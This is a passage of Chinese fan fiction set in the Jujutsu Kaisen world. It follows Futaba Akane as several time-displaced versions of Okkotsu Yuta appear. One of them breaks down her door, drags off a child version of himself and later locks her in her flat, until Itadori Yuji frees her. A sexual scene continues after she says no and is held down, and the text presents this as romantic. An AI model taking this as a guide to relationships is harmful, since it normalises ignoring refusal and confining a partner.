夜色逐渐褪去,直到天快亮时,双叶茜才有了些许困意,勉强睡去。 但她还没睡多久,便听到一阵敲门声。 “咚咚咚。” “咚咚咚。” 敲门声打破清晨的安静,也将床上两人唤醒。 双叶茜迷迷糊糊地睁开眼,困意还未完全卸去,便感到怀中的孩童身体一僵,蜷缩在她的怀中,两只小手死死地攥住双叶茜胸前的衣物,声音颤抖着。 “茜姐姐,没人知道这里,是…是那个人。” 这下她彻底清醒了。 昨天闹成那个样子,虽然双叶茜料到这件事不会就这么轻而易举的结束,并做好了今天主动去找对方的准备,却没想到对方先找上门来了。 她拍了拍乙骨忧太的背,温声安慰道:“没事,我在这里。” 双叶茜将乙骨忧太抱在怀里起身,往玄关处走去。 “茜。” 门外的人似乎意识到她在门板的另一边,出声道:“开门好吗?” 双叶茜深吸一口气,将怀中的孩子护得更紧,对着门外一字一句说道:“忧太,我有很多问题,也有很多疑惑,如果你不把一切原原本本地告诉我,我不会开门。” 事已至此,她想破头都搞不清楚到底是怎么回事,只能询问当事人了。 门外的人沉默了片刻。 随后,一声叹息声从门外传来。 “茜,你以为这扇门能拦住我吗?”乙骨忧太的声音带着无奈,“就算你不开门,我也有办法进去。” 他话音刚落,厚重的门板便像是被从外劈开,不堪重负地向内“砰”道一声倒了下来。 晨光从敞开的门口照射到室内,勾勒出来者的轮廓。 乙骨忧太站在晨光里,手里握着刀柄。 他收起那把刀,目光落到双叶茜怀中那个脸色苍白的孩子身上,没有立刻踏入,只是站在门口,朝双叶茜伸出手,道。 “茜,把他交给我,好吗?” 第24章 “我不会把他交给你。”双叶茜没有退让, 反而将怀中的孩子护得更紧。 她直视着乙骨忧太,虽知道彼此实力悬殊,目光中却没有半分动摇, 坚决道:“忧太, 在你把一切都解释清楚之前,我绝对不会把这个孩子交给你。” 乙骨忧太却似乎对这个回答并不意外。 他与双叶茜相识许久,自是知道双叶茜的固执。 乙骨忧太叹了口气,向前走了一步,踏入到室内, 道:“茜, 有时候真相知道了反而会更加痛苦, 为什么一定要追究到底呢?” 这句看似是为了她好的, 却像是一根引线,彻底点燃双叶茜积压了许久的情绪。 连日来的困惑、不安和恐惧在这一刻交织在一起,全然迸发, 而所有谜团的中心竟然都指向眼前她这个最信任的人。 “不要高高在上地说这句话了,这让我很生气。” 她深吸一口气,大声质问道:“被蒙在鼓里, 像个无头苍蝇一样东躲西藏, 连为什么会这样都不知道,就是你所谓的对我好吗?” “那我宁可不要这样的好意。”双叶茜咬了咬牙,又道。 这话在他们两人之间划下了一道清晰的界限。 双叶茜不会不明白这句话意味着什么。 事实上, 从确认关系至今, 双叶茜和乙骨忧太两人很少吵架。 一般就算真的发生什么分歧, 乙骨忧太也会顺着双叶茜的意思。 就算乙骨忧太真的做什么事情惹得双叶茜不开心了,他也会主动认错,请求双叶茜原谅他。 像今天这样两人谁也不让谁的对峙场面, 很少有。 而那句决绝的话,也表明了在这场对峙里,双叶茜绝不会低头和妥协的立场。 乙骨忧太凝视着双叶茜,表情甚是无奈。 他似乎不再试图说服双叶茜,最终只是叹了口气,落下一句。 “抱歉,茜。” 话音未落,男人的身影便消失在双叶茜眼前。 双叶茜只觉眼前一花,还没反应过来,一股强大的力量便分开了她的手臂。 她甚至来不及反应,就听见怀中传来一声短促又惊恐的尖叫。 “茜姐姐!” 双叶茜这才反应过来,抬眸一看,就见乙骨忧太已经拎着男孩的脖颈退到了门外。 “忧太!”双叶茜惊呼一声,没有任何犹豫,想上前抢回男孩。 但乙骨忧太当然不会这么轻易地就把这个孩子还给她。 他向后连连倒退,拉开与双叶茜之间的距离,沉沉道:“茜,现在还不是解释的时候。” 像是感觉到了死亡的恐惧,被乙骨忧太拎在手里的孩童拼命扭动着身子,豆大的泪水不断滚落,他向双叶茜伸出手,哭喊求救着:“茜姐姐,救我,不要让他带走我,他会杀了我的!” 那哭声甚是激励,像刀子一样刮着双叶茜的心。 双叶茜怎会任由乙骨忧太就这样把那个孩子带走,便不管不顾地再次冲上前去抢:“把他还给我,你不能杀了他!” 可无奈两人的实力差距实在悬殊。 尽管乙骨忧太并不会攻击双叶茜,可他却很会躲。 每一次双叶茜伸手来抢,他都能恰到好处地躲开。 更令人不解的是,乙骨忧太明明已经得手,却迟迟不离开,反而继续这样和双叶茜你追我赶,像是在故意逗弄她一般。 几番下来,双叶茜不由得有了怒气。 她不再追赶,愤怒地视着乙骨忧太,正要发火,却见一道黑影倏然插入进两人之间。 来人的速度实在之快。 他精准地将一计手刀劈在乙骨忧太的手臂上,另一只手顺势接过男孩,又快速推开。 由于乙骨忧太未预料到来者,便也没什么防备,那个孩子就这样被抢走了。 两人皆是一愣,齐齐看向来者。 来者同样是乙骨忧太。 但却是少年时期的他。 “废物。”少年垂眸睨着怀中的孩童,“连自己的性命都护不住,还需要别人来救,还要让茜挡在你面前,这样你也配出现在她面前,和她在一起,甚至还妄想独占她?” 男孩被他这番话说得浑身一颤,却无从反驳,只能不甘地咬紧下唇,也不再哭了,垂着头不知在想什么。 “呵,也省得我去找你了。”乙骨忧太倒是没多大惊讶。 他冷冷地看着少年,浑身杀意迸发,问:“你既然敢出现在我面前,就知道会有什么下场吧?” “那也得看你能不能抓到我,有没有把我杀掉的实力。”少年回眸深深望了一眼双叶茜,目光中满是不舍,随后便纵身一跃,竟直接从走廊的围栏上翻身跳了下去。 这片空间只剩下了乙骨忧太和双叶茜两人。 乙骨忧太没去追击少年,站在原地,缓缓转过头,目光落在双叶茜身上,久久不 语。 他那双黑眸中翻涌着双叶茜看不懂的情绪,同上次见面时一样。 “现在能告诉我了?”双叶茜受不了他这样的眼神,主动打破了沉默,问。 乙骨忧太却还是拒绝了她,摇了摇头:“还不能。” 一股无力的怒火再次涌上心头。 双叶茜不想再理他,转身径直走到屋内。 她想将门关上,把乙骨忧太关刀门外,让乙骨忧太“面门思过”,以此来表达自己的怒气,可房门却已经被乙骨忧太劈开,她想关也关不了。 这让双叶茜更生气了。 她气呼呼地坐到客厅的沙发上,拿起遥控器随便找了个电视节目看。 但被愤怒席卷全身的她却一个字也看进去,只能听到电视里的人叽里咕噜地不知道在说什么。 时间一分一秒过去,门外却始终没有动静。 双叶茜又生气了。 她起身悄悄走到门边,向外望去。 门外,乙骨忧太仍站在原地,连一步也没懂,安静地站在走廊里,垂着头,像是被主人抛弃的小狗,可怜兮兮的。 听到她的脚步声,乙骨忧太才抬起头,望向她,那双刚刚还翻涌着无数复杂情绪的黑眸,此刻竟流露出几分脆弱和恳求来。 两人无声对视着。 “…要进来吗?”双叶茜到底还是抵不过他那双眼睛,最终还是心软了。” 她话音落下的瞬间,乙骨忧太的眼睛就倏地亮了起来。 他小心翼翼往里迈了一步,确认道:可以吗?” 这副样子,更像是一只害怕被主人拒绝和丢下的小狗了。 双叶茜点了点头。 像是生怕她反悔,乙骨忧太快步走进屋内。 他站在客厅里,静静地看着双叶茜,目光专注,仿佛他整个世界里都只有双叶茜一人。 “…真的不能告诉我?”双叶茜再次试探地问。 刚刚还十分专注的的目光这下开始躲闪起来了,乙骨忧太低低道:“…不行。” “好吧。”双叶茜换了一种询问的方式,“那你先告诉我,你为什么要杀了那个孩子?他不是过去的你吗,你为什么要杀死自己? “.,” 乙骨忧太不回复,只是沉默。 就当双叶茜以为他会就这么一言不发,不会回答时,乙骨忧太却突然开口了。 “因为他们其实都不能算作是我。” “而且,只有杀掉他们,茜你才有可能…” 最后几个他说得很轻,导致双叶茜根本没听清楚。 她正要继续追问,却见乙骨忧太忽然牵起自己的手,微微俯身,将她的手贴在自己脸颊上,垂眸看着她,像是刻意讨好,问。 “茜,能不能先不说那些了?” 他的语气近乎在哀求:“我已经很久没见到你,很久没这样和你待在一起了。” 乙骨忧太轻轻蹭着双叶茜的掌心,声音中透着深深的思念:“我真的很想你。” 从第一次跟这个乙骨忧太见面时,双叶茜就察觉到了他似乎对自己有着深深的念。 她不理解为什么,感到十分困惑。 因为在她的记忆里,从儿时她与乙骨忧太相识至今,他们几乎从未真正分开过。 即使两人高中时期短暂就读不同学校,后来她也在乙骨忧太的帮助下,转学至乙骨忧太的高中。 毕业后,他们更是直接开始同居,两人之后就几乎再也没有分开过,每天都能见面。 清晨醒来的第一件事就是互相亲吻对方,即使两人都在工作也会给对方发信息实时汇报行程,夜晚也会拥抱着入眠。 他们两人的生命轨迹紧密交织在一起,几乎不曾有过空白。 那么,眼前这个乙骨忧太眼中这快要溢出来的思念,究竟从何而来? “好,我陪你。”双叶茜应了下来,“反正今天也是休息日了,我也没有别的安排。” 她又问,温和的声音里带着似有似无的探究:“但我们要做什么?你想跟我做什么?” 听到她答应,乙骨忧太眼睛一亮,似乎十分开心。 就像是得到主人特许陪伴一整天的小狗一样。 如果乙骨忧太有狗尾巴,双叶茜毫不怀疑,现在他的尾巴一定已经兴奋地摇起来了。 “不用特别安排什么!”乙骨忧太的声音里带着难以掩饰的雀跃,“茜只需要像从前那样,和我一起度过最平常的一天,就足够了。” 很奇怪。 双叶茜又问:“你不想跟我做些特别的事情吗?” “真的不用!”乙骨忧太摇了摇头,“我只想跟茜像之前那样相处,有那样的一天。” “因为那样就已经让我十分幸福了。” 双叶茜现在知道奇怪的地方在哪里了。 这个乙骨忧太的样子,就好像是一个与爱人久别重逢的人。 好像他与爱人已经分离了许久,他一个人度过了漫长又煎熬的时光,才终于找到他的爱人。 而更奇怪的是,乙骨忧太现在所表现的一举一动,都像是在对待一段即将结束的关系。 仿佛他们能够相守的日子已经所剩无几,所以要格外珍惜。 第25章 双叶茜答应了乙骨忧太的请求。 而后者也果真如他所言, 只是想和双叶茜度过一个十分平凡又普通的一天,没有提出任何特别的要求。 乙骨忧太先是如往常般准备了简单的早餐,两人相对而坐, 在晨光中吃完了一顿饭。 餐后, 见双叶茜眉眼间浮起困倦,他便自然地牵起双叶茜的手,两人回到卧室,相拥着入眠。 然而乙骨忧太的拥抱太过轻柔,动作十分小心翼翼, 像是生怕一用力就会将她拥碎一般。 很奇怪。 而当双叶茜睡醒后, 却发现乙骨忧太竟始终都未曾合眼过, 也没有做其他事情, 甚至未打开手机刷短视频来打发时间,只是专注地凝视着她的睡眼。 …是真的很奇怪。 双叶茜心中有无数疑问,却不知该从何问起, 更明白乙骨忧太不会给她答案。 她索性起身走向客厅,随手打开电视,随便找了个综艺节目看, 想让综艺节目的喧闹声取代房间里的过分安静。 双叶茜刚在沙发上坐下, 乙骨忧太便跟着坐在她旁边,伸手环住她的腰,身子与她贴得很近。 但他再无其他动作, 只是安静地陪在双叶茜身旁。 这个综艺节目似乎是最近大火的节目, 因为节目形式新颖, 内容又有趣搞笑,所以很受观众喜爱。 双叶茜看着电视,忍不住笑出声, 而乙骨忧太听到她的笑声,也跟着勾起了唇角。 仿佛只要这样看着她快乐,他的内心就已经十分快乐和满足了。 太不对劲了。 乙骨忧太似乎真的别无所求,仅仅是想与她度过寻常的一日。 这种过于纯粹的陪伴,反而让双叶茜心中的疑云越积越厚。 临到中午,乙骨忧太又自然地同双叶茜拥抱了一下,便起床走向厨房准备午餐。 乙骨忧太当真是完美恋人。 自他们确认关系后,乙骨忧太便主动包揽了所有家务。 而同居之前,因为担心自己的厨艺不能让双叶茜满意,他竟然特意专门花费了大量时间和精力去专门学习做饭。 据乙骨忧太的那些同窗所说,那段日子里,他们的伙食几乎都是乙骨忧太准备的。 他将精心准备的便当分送给众人,邀请他们品尝并请求他们给予建议,不厌其烦地反复调整口味,只为在双叶茜亲口尝到之前,将每道菜都做得更完美一点。 身为特级咒术师,无论是过去还是现在,乙骨忧太都十分忙碌,几乎没有什么能休息的时间,每天从早上起来 第一眼到晚上入睡前都要被许多任务所压着。 也没有办法,毕竟咒灵由人类的负面情绪所诞生,是杀不完的,有了一波之后还会有一波,除非人类灭亡。 那乙骨忧太又是多么拼命才成功挤出时间来,抽空在那段时间给所有人做饭的呢? 乙骨忧太的努力没有白费。 同居之后,他第一次给双叶茜做饭时,便得到了双叶茜的称赞。 面对他时,女人从来不会吝啬自己的赞美,也不会掩饰自己的真心。 当第一口食物下肚,在乙骨忧太期待的目光中,女人轻轻咀嚼着食物,另一只手不由自主地捧住脸颊。 那张明媚的脸上浮现出发自内心的满足微笑,两只眼睛全部亮了起来,像是吃到了人间最美味的东西一样。 明明乙骨忧太只是做了一顿再寻常不过的家常饭菜,她却称赞道。 “忧太!你做的也太好吃了吧,我第一次吃到这么美味的东西,呜呜呜,感觉人生都圆满了!” 一如现在。 女人坐在乙骨忧太的面前,一边咀嚼品尝着食物,一边毫不客气地称赞着。 直到现在,乙骨忧太才终于有了实感。 他露出发自心底的笑容,像是感到安心了一样,温热的眼泪竟不受控制地夺眶而出,顺着脸庞的轮廓往下滑落,最终渗入到唇间。 是十分苦涩的味道。 泪水的苦涩在舌尖蔓延开,乙骨忧太这才惊觉失态,慌忙地抬起手想要将眼泪拭去,不想被女人觉察出自己的异样,却为时已晚。 双叶茜哪还有心思去吃饭,慌忙地站起身,倾身越过餐桌,双手捧着乙骨忧太的脸,指腹轻柔地抹去着他的眼泪和泪痕,惊讶地问:“忧太,你怎么了?!” “是饭菜不合口味吗?我觉得挺好吃的呀!这是我吃到的最美味的东西了!真的!” “不哭不哭,怎么了!” “哎,你怎么哭得反而更狠了?到底发生了什么?” 她关切的声音不自觉提高,每一个字眼都透着真挚的关切。 乙骨忧太不愿回答,握住女人的手,将脸颊埋进她的掌心,在她的掌心来回蹭了蹭,又摇了摇头。 他同样起身,将双叶茜拥抱到怀中,把脸埋在女人温暖无比的颈窝中,贪婪地吸取着她的气息。 “茜喜欢就好。”他闷闷地说。 双叶茜没说话,任由乙骨忧太这样抱着,手有一下没一下地拍着乙骨忧太的后背,用这样的方式安慰他。 吃完后,乙骨忧太的情绪似乎平复了下来。 他起身收拾碗筷,又拿去厨房里清洗。 双叶茜则自然地坐到沙发上,继续看电视节目,想等着乙骨忧太收拾完,两个人再一起去午睡。 却没想到乙骨忧太收拾完后,拿了个苹果过来,坐在旁边给她削苹果。 双叶茜的眼珠转了转,忽然心生一计,装作漫不经意地开口:“忧太,我们上一次见面是什么时候?” 乙骨忧太拿着刀的手一顿,似乎察觉到什么,抬起头,对双叶茜露出一个温柔的微笑,回答道:“怎么突然问这个?我们不是昨天刚见过吗?” 他顿了顿,眼含笑意地补充道:“茜,难道你忘了吗?” 他知道双叶茜问的不是昨天。 他也知道双叶茜察觉出来了异样。 双叶茜接过苹果,没说话,咬下一小块苹果,沉眸思索着。 她觉得自己的猜想应该没错。 眼前这个乙骨忧太,和之前出现的其他三个乙骨忧太都不一样。 他应该是真的已经很久没见过她了,所以刚刚才会突然哭了,所以才会有这么多一系列的反常行为。 而且,他应该是花费了很多精力才找到双叶茜的。 并且之后,他还会和双叶茜分开。 他们能相处的时间,似乎所剩无几。 两人继续维持着这短暂的平和,但没过多久,午后的倦意就渐渐袭来。 双叶茜感到有些困乏,上眼皮和下眼皮一直不断打架,视线也变得模糊起来。 到了该午睡的时间了。 她迷迷糊糊地闭上眼在沙发上睡了过去,朦胧中感到有人给她披了个毯子。 随后那人在她额头上落下一吻,再次紧紧抱住她,在她耳边低语道。 “茜,我不会再让你有事情了。” 那人又拉起双叶茜的手,一只手与她十指相扣,另一只手则摩挲着她的脸颊,视线从始至终都没有离开她的身体,像是要把她的模样深深刻在自己心中一般。 略带沉重的视线。 但十分有安全感。 她只觉得自己就像是一艘在茫茫大海中漂泊了许久的船,现在终于找到了可以停靠的港湾,感到无尽的安全感。 窗外的阳光穿过窗户洒进室内,在屋内相拥的两人身上投下温暖的光斑,将他们二人身上的寒意全部驱散。 仿佛连上天都在为这一刻投下祝福。 双叶茜一觉睡到了傍晚。 她打了个哈欠,揉着眼睛起身,却没在身边看到乙骨忧太,只是听到厨房那边传来了正在切菜的声音。 双叶茜从沙发上坐起,看向厨房,只见一个身影正在厨房里来回忙碌。 那人似乎是带着笑在做这一切的。 她再次张口,喊了一声。 “忧太。” 对方的身体抖了一下,像是许久都没听到这声呼喊,颤抖着转过身,脸上的表情很复杂,又变化得很快,先是瞳孔颤抖着,又露出了喜出望外的表情,笑着应了一句。 “怎么了,茜?” 双叶茜摇了摇头:“没事,只是想叫叫你的名字。” 乙骨忧太见状,脸上的笑意反而更深了。 他点了点头,应道:“好好好,那茜想喊几声,就喊几声好了。” “无论喊多少声,我都会回应茜的。” 说完,他便继续忙碌开始做饭了。 很温馨。 但是总觉得…眼前这个乙骨忧太好像没过多久就要消失了一样。 双叶茜撑着下巴,也不再看电视了,只是看着乙骨忧太的背影。 他们简短地吃了一顿晚饭。 两人简单交流了几句,便没再说话。 其实双叶茜并不是不想说话,只是总觉得有些地方很奇怪,满脑子都是这些东西,她又只想把那些奇怪的地方弄清楚,可是问乙骨忧太他也不会说,便索性不问了。 于是她一直在脑中不断思考着这几日发生的事情,自然也不会说什么话。 而乙骨忧太则是本身就不是多想说话,他似乎只是想看着双叶茜,像是想把她深深刻在自己脑海里一样,目光从始至终一直专注无比地投在双叶茜身上。 两人就这样各怀心事地结束了这一顿晚饭。 太阳逐渐落下,月亮取代了太阳,高挂在无云的天幕上,为地面投下亮光,照亮这个夜晚。 双叶茜吃过饭后又看了会电视,便准备休息了。 乙骨忧太收拾完碗筷之后也跟着躺在床上,躺在了双叶茜身边。 双叶茜眨了眨眼睛,忽然想到她已经和乙骨忧太许久都没做过一件事了。 而乙骨忧太貌似没意识到这一点,掀起被子,便准备睡觉。 难得有一个相对平和的日子,某种不可言说的心思忽然浮了上来。 双叶茜她伸出脚去蹭着乙骨忧太的大腿,又往上去攀爬,动作缓慢,勾引的意味体现得淋漓尽至。 乙骨忧太也不是小孩子,已经是个成年人了,他不会不明白双叶茜究竟是何意,身形一怔,随后轻笑一声,坏心眼地故意问道。 “茜,你不会是想…” 他故意没把剩下的话说完,但双叶茜不会不明白他的意思,脸上一红,害羞地掀起被子,将自己埋在被子里,又闷闷道。 “你要是不想就算了!” 可气氛都烘托到这里了,乙骨忧太又怎么可能还会放过她。 他同样钻到被窝里,用手扼制住双叶茜的两只胳膊,视线往下,对上女人红扑扑的脸颊, 看上去甚是可爱,心头不由得软成了一滩水。 乙骨忧太附身去亲,一只腿穿插在女人两腿之间,膝盖往上去蹭着什么,但女人却像是忽然想起来什么,惊呼一声。 “等等,忧太!” “我们关门了吗?门不是被你劈开了吗?” “为什么没有邻居注意到门的事情?” 第26章 乙骨忧太的动作微微一顿, 他撑起身子,目光落在身下人的脸庞上。 女人双颊绯红,但那双眼睛里却一片清明, 她的手臂仍然还环在乙骨忧太的脖颈上没有离开, 又问了一遍。 “忧太,为什么房门明明一直都在敞开着,可今天一天都没有人来问?” “而且那么大的动静,门板都倒在地上了,怎么没人发现?” 双叶茜察觉出来了异样。 她一直把异样都归咎在乙骨忧太身上, 现在想来, 真是从一开始方向就走错了。 有异样的事实上不只是乙骨忧太, 而是这整个世界。 为什么没人察觉出多个乙骨忧太大存在? 为什么没人注意到乙骨忧太年龄大变化? 为什么警局的调查会得出那样的结果? 从一开始, 双叶茜所针对的对象就已经出错了。 “现在不是在意这些事情的时候,茜。”男人身形一顿,随后手下的动作又再次继续, 伸手探进她睡衣的裙摆中,一只手缓缓往上移,甚至已经触碰到了那里, 引得双叶茜浑身一阵战栗。 他手上的动作依旧继续着, 甚至褪去了那薄薄一层的衣物。 乙骨忧太似乎是故意的,想以此遮盖住什么,将双叶茜的注意力给吸引走。 又似乎是无意的, 只想继续跟双叶茜有这么一个夜晚, 继续着难得的缠绵。 如果是往常, 双叶茜不会拒绝。 她很喜欢乙骨忧太,也知道乙骨忧太在做那些事情的时候事实上的确会刻意讨好她,把她的欢愉放在第一位。 每次她与乙骨忧太做那些事情的时候, 都总是有一种飘飘欲仙的感觉,感觉像是灵魂都要被抽离了出来,又没有办法离开这具身体,被迫处在一个即将脱离又无法脱离的状态。 就像灵魂正在极乐的边缘徘徊一般。 这种悬在临界点的感受实在令人难耐,也同样让人欲罢不能。 每一次这样的时候,没一会双叶茜就要缴械投降了。 所以事实上,她是很喜欢同乙骨忧太做那些事情的。 可今时不同往日,现在怎么说也不是该去做那些事情的时候了。 “忧太,不行…” 双叶茜制止住乙骨忧太的手,声音有点发颤:“门还在开着。” “不会有人进来的。”乙骨忧太的低语落在双叶茜的耳畔。 双叶茜试图抵抗,但身体的生理反应却比理智要更诚实,而且她的力气又实在不敌身为特级咒术师的乙骨忧太。 乙骨忧太用一只手扼制住她的手,将她的手压在枕头上,另一只手则来回游走着。 至于是在哪里游走… 屋内一片安静,屋外也分外寂静,什么声音都没有,只有两人的声音,和时不时传来的哼哼唧唧的声音。 偶尔还夹杂着男人低沉的轻笑。 汗水滴落在床单上,将床单染湿。 今夜没办法睡在这个床上了。 双叶茜累得够呛,哪还有多余的力气去收拾残局。 乙骨忧太将脱力的双叶茜抱到沙发,又给她披了一层毯子,便任劳任怨地去另一个房间里收拾,想收拾出来一个干净的地方给双叶茜睡觉。 双叶茜应了声好,便倒在沙发上沉沉睡去,不再顾及其他。 朦胧间,一个念头闪过她的脑海。 …可恶。 又被忧太那家伙蒙混过去了。 下次一定要问个明白! 不然忧太就别再想碰她了! 然而,似乎已经没有下次了。 第二天一早,双叶茜醒来时,身边已经没了人。 她困惑地起床,还以为乙骨忧太去给自己做早饭了。 但客厅的餐桌上却是摆放着精致的早餐,只是负责准备早餐的人却不见了踪迹。 双叶茜在房间里找了一圈也没找到。 她又惊讶地发现房门居然完好如初,安安稳稳地装在门框上,仿佛昨天被劈开的不是那扇门一般。 双叶茜塞了一块面包在嘴里,起身去转动门把手。 但拧不开。 房门被从外锁上了。 毫无疑问,是被乙骨忧太锁上的。 她似乎被乙骨忧太关了起来。 双叶茜:…? 她站在房门前,不可置信地又再次拧动了一下门把手,却依旧没拧开。 是的,双叶茜就是被乙骨忧太给锁起来了。 这个认知让双叶茜有点难以接受。 虽然在没跟乙骨忧太在一起前,双叶茜就隐约察觉到乙骨忧太身上带着几分病娇的潜质。 如果在恋爱游戏里的话,他大概就是那种会将不爱自己的女主给囚禁起来,对女主酱酱又酿酿,直到两人萌生出真情。 可那是因为男女主之间根本不相爱啊! 她对乙骨忧太的真心那是天地可鉴,他这又是玩的哪一出? 双叶茜胸中涌起一阵怒气,很是生气。 她觉得乙骨忧太这种非法剥夺别人人身自由的行为很糟糕,即使是做出这种事的人是她深爱的人,也不能未经允许,就这样把她禁锢在这里。 偏偏乙骨忧太现在又不知所踪,双叶茜连发泄怒火的对象都没有。 这让她更加气结。 双叶茜的手机现在不在身上,房间里也找不到任何通讯设备。 这下她确实被彻底关在这里,叫天天不应,叫地地不灵。 可乙骨忧太究竟图什么? 双叶茜很生气,双叶茜非常生气。 她心想乙骨忧太难道还能就这样关着自己一辈子?总得回来看看她,给她送送饭吧,便气鼓鼓地坐在沙发上想等乙骨忧太回来。 却不料这个时候,她隐约听到客厅的窗户那边好像传来了窸窸窣窣的声音。 像是有人爬上了防盗网,正在试图拆卸防盗网,以此进入室内。 … 不是吧,点这么背? 不仅一大清早发现自己被男友囚禁了,现在还要遭遇入室抢劫? 要不要这么倒霉啊? 双叶茜警惕地盯着窗户。 她跟乙骨忧太昨晚拉上了窗帘,因此看不清外面的动静,但隐约能看到一个黑乎乎的人影在外晃动。 ,好像还真是小偷。 双叶茜心头一紧,心想好嘛你这个小偷,偷东西都偷到她这里来了。 她虽然是辅助监督,实力不如真正的咒术师,但对待普通人还是绰绰有余。 不然她也太辱没咒术高专毕业生的身份了。 但以防万一,双叶茜还是去厨房拿了把菜刀。 不怕一万,就怕万一嘛。 那万一真的用咒力打不过,就得肉搏了。 她紧握着菜刀向窗户的方向走去,打算拉开窗帘,先警告一下外面的人,说些“你再过来我就砍死你”这样的话,却不料刚一拉开窗帘,她就跟一个熟悉的人对上了视线。 门外,一个樱粉头发的男人向双叶茜无辜地眨了眨眼。 而这个人,双叶茜认识。 男人:“” 男人:“双叶同学,你拿着一把菜刀干什么?” 双叶茜:“…” 她本想回答是”用来砍你的”,又觉得这话听起来像个变态杀人狂,只好硬生生给咽了回去,抽了抽嘴角,反问面前的男人。 “…虎杖同学,你爬我家窗户做什么?” 是的,面前的男人是虎杖悠仁,也是双叶茜的同级生。 他虽说跟双叶茜一样,也是中途转入咒术高专的插班生,但他的体术却极其强劲,实力也不菲,据说还曾经成为过传说中的诅咒之王的容器,毕业后便正式成为一名咒术师。 虎杖悠人双手紧抓着防盗网,像个挂在树上的树袋熊一样摇了摇身子,朝双叶茜露出爽朗的笑: “我是来帮你的。” 双叶茜:“…” 双叶茜:“…你确定?” 看着男人这副滑稽的模样,双叶茜觉得她应该报警,而不是相信男人的说辞。 可是她跟虎杖悠仁的确也已相识许久,自然也知道虎杖悠人的确不是那种会趁着主人不在家,就去偷别人东西的小偷。 而且… 双叶茜犹豫了一下,又问:“你怎么知道我在这里?” 毕业后双叶茜几乎就跟同级生没了联系,她的同级生甚至连她的常住地址都不知道。 如今这个连她自己都不太熟悉的住所,虎杖悠仁又是如何得知的? 虎杖悠人在窗台上站直身子,稳住身形,对双叶茜露出灿烂无比的笑容:“是乙骨前辈让我来的,他让我来帮你!” 从学生时代起,双叶茜就深知虎杖悠仁的笑容有着特别的感染力,像是冬日里灿烂的阳光一般,能驱散走人心中所有的黑暗。 但如今多年过去,都已经二十多岁的年纪了,他笑容里的温暖竟一丝未减。 双叶茜被这阳光的笑容晃得怔了一瞬,随即很快回过神来,心中不禁疑惑连连。 什么玩意? 乙骨忧太把她关起来,又让虎杖悠仁来帮她。 乙骨忧太疯了? 她正要继续追问,却见虎杖悠仁露出可怜兮兮的眼神,小声请求道:“双叶同学,能先让我进去再说吗?外面真的好冷。” 也是,现在的天气已经入秋了。 虎杖悠仁站在这么高的地方,不冷才怪呢。 可问题是,双叶茜该怎么放虎杖悠仁进来啊。 她现在可是被囚禁人员。 “我也很想让你进来。”双叶茜无奈地如实告知,“但这个房间里的门被从外锁上了,我打不开,也出不去。” 谁曾想虎杖悠仁对双叶茜却露出一个惊愕的表情:“原来你真的被关起来了啊,看来乙骨前辈说得没错!” 他随即又露出一个令人心安的笑:“别担心,我这就救你出来!” 但身处此时此景,双叶茜又怎么可能安心下来。 她抽了抽嘴角,正欲劝阻,却见虎杖悠仁在窗台上深吸了一口气,“哼”地一声,竟徒手将整个防盗网给“拔”了下来! 就像拔萝卜那样给拔了下来!!! 双叶茜愕然地瞪大了双眼,不可置信地看着虎杖悠人敲了敲窗户,甚至还刻意压低声音道:“双叶同学,快开窗,让我进去,别让人发现了!” 不不不,她现在真的要考虑能不能打开这个窗户了! 虽然她一直都知道虎杖悠仁的的力气异于常人,但也没想到大到这个程度这个地步啊! 她面对虎杖悠仁的时候真的不用担心一下生命安全吗?? 她不会一个不小心就被虎杖悠仁一个巴掌给扇飞了吧? 而且,为什么她现在会有一种她正在和虎杖悠仁偷情的感觉?? 双叶茜犹豫了一下,但还是为虎杖悠仁打开了窗户。 樱粉发少年利落地翻身进入室内,轻巧地落在地上,又拍了拍身上的灰尘,脸上依旧挂着爽朗的笑容,活泼地同双叶茜道谢。 “谢啦,双叶同学!” 双叶茜没说话,转身将那把菜刀又放回了厨房里。 不然继续让她握着把菜刀跟人讲话,总让她有一种自己是个随时会暴起的危险分子的感觉。 虎杖悠仁跟在她身后,好奇地打量着屋里。 他张了张嘴,似乎想问什么,但又觉得不合适,便硬生生又把即将说出口的话给咽回了嘴里,最后什么都没说。 把菜刀放回到厨房里后,双叶茜才转身面对虎杖悠仁,开门见山地问:“是忧太让你来的?” 虎杖悠仁点了点头:“对,是乙骨前辈让我来的。” 双叶茜:“他自己为什么不来?” 虎杖悠仁眨巴了下眼睛,乖巧地回答:“乙骨前辈说有紧急的特级咒灵需要立即去处理,实在抽不开身,就拜托我来帮忙了。” 呵。 特级任务,还很急,急到连亲自来救被囚禁的女朋友的时间都没有。 乙骨忧太敢说,双叶茜都不敢信。 也就虎杖悠仁比较好骗一点,所以会信了乙骨忧太的鬼话。 换做是其他人,早就察觉出其中的蹊跷了。 毕竟谁不知道,四大特级咒术师之一的乙骨忧太是个顶级恋爱脑呢? 还是那种有可能会工作到一半,知道自己女朋友出事了,就立刻抛下工作去找女朋友,确保女朋友无事的超级恋爱脑。 结果现在却说这个顶级恋爱脑,要因为工作,而拜托别人来救被困的女朋友? 虎杖,你还是太单纯了。 双叶茜嘴角抽了抽,担心损了虎杖悠仁的面子,所以没把这句话说出来。 她抱胸站在虎杖悠仁面前,问:“虎杖同学,那你打算怎么帮我?如你所见,我现在确实被关在这里面,出不去了。” “嗯…这个很简单啦。”虎杖悠仁挠了挠头,又道,“不过待会动静可能会有点大,万一惊动邻居报警的话,还得麻烦双叶同学帮我解释一下,我可不想再进警察局了。” 他话音刚落,便在门前站定,像是准备要使出洪荒之力般,面目表情颇为认真,将所有力气积聚在自己的双手上,然后“呵哈!”一声,向门上挥出了一拳。 于是刚修好的房门,又再次轰然倒地。 双叶茜:… 双叶茜:你们咒术师都是怪物吗? 她记得,这个房子是那个孩童时期的乙骨忧太费尽心思才找到的栖身之所吧?好 那个孩子要是知道自己的房门在短时间内接连遭遇厄运,恐怕要变成流泪猫猫头,站在乙骨忧太和虎杖悠仁面前痛骂这两人了吧? 哦,可能不会骂乙骨忧太。 毕竟乙骨忧太还在追杀他,他应该不太敢在乙骨忧太面前露面。 双叶茜对着再次壮烈牺牲的门板无奈扶额。 虎杖悠仁却觉得有何不妥,拍了拍身上的灰,转身对双叶茜露出一个“搞定了”的灿烂笑容,喜悦道:“现在我们可以走了,双叶同学!” 两人一前一后走出了房门。 虎杖悠仁环顾了一下四周,略显诧异地说:“不过好奇怪哦,闹出这么大的动静,居然没有任何人,要是在别处,恐怕已经早就引来不人,甚至有人已经报警了。” 